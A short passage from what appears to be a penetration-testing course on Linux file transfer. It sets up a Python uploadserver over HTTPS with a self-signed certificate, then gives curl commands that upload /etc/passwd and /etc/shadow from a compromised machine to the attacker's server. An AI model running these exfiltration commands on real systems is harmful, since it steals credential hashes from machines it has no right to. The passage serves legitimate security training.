As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page. For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.

Pwnbox - Start Web Server

sudo python3 -m pip install --user uploadserver

Pwnbox - Create a Self-Signed Certificate

we need to create a certificate. In this example, we are using a self-signed certificate.

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Pwnbox - Start Web Server

The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver.

mkdir https && cd https

sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Linux - Upload Multiple Files

Now from our compromised machine, let's upload the /etc/passwd and /etc/shadow files.

curl -X POST <https://192.168.49.128/upload> -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

curl -X POST https://10.10.14.136/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

We used the option --insecure because we used a self-signed certificate that we trust